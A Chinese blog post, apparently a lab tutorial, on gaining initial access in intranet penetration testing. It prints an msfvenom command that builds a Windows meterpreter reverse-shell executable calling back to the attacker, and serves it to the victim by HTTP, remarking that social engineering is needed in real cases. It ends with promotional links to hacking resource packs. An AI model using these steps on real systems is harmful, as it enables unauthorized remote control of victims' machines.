【网络安全】内网渗透（一）：获得权限

前言

本博文仅供学习使用，请勿他用！！！

网络安全成为当下最热门的话题，如何维护网络安全是关键，而内网渗透测试又是其中最重要的部分，接下来博主将会通过系列文章，对内网渗透进行介绍与复现；

本文将会介绍如何获取一个系统的权限；

实战

准备

打开两个虚拟机，这里我用的是 kali 和 windows7，kali 作为攻击机，那么 windows7 就作为肉鸡；

查看两台机子的 IP：

Kali IP

Windows7 IP

ping 一下，可以连通，那就开始攻击准备；

攻击

1、生成一个针对 windows 的攻击文件，msf.exe：

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.13.128 LPORT=4444 -f exe -o msf.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of exe file: 73802 bytes
Saved as: msf.exe

2、另开窗口，打开 msfconsole，设置一下监听脚本：

3、将这个反弹 Payload 传给 windows，这里使用 python 建立连接，真实场景需要通过社工让目标接收并启动：

root@kali:~# python -m SimpleHTTPServer 888
Serving HTTP on 0.0.0.0 port 888 ...

在 windows 中，打开浏览器输入 ip:prot，点击 msf.exe 进行下载：

4、开始监听，然后运行 msf.exe 文件：

成功监听到了 windows；

5、接下来就可以进行一些简单的操作了，这里就不过多赘述：

后记

其实不难发现，我们只是获得了一个较低的权限，之后会介绍如何提升权限来做更多的事情；

1️⃣零基础入门
① 学习路线
对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

② 路线对应学习视频

😃朋友们如果有需要全套《网络安全入门+进阶学习资源包》，可以点下方链接免费领取
👉CSDN大礼包🎁：全网最全黑客资料免费领取🆓！（安全链接，放心点击）

2️⃣视频配套资料&国内外网安书籍、文档
① 文档和书籍资料

② 黑客技术

3️⃣网络安全源码合集+工具包


😃朋友们如果有需要全套《网络安全入门+进阶学习资源包》，可以点下方链接免费领取
👉CSDN大礼包🎁：全网最全黑客资料免费领取🆓！（安全链接，放心点击）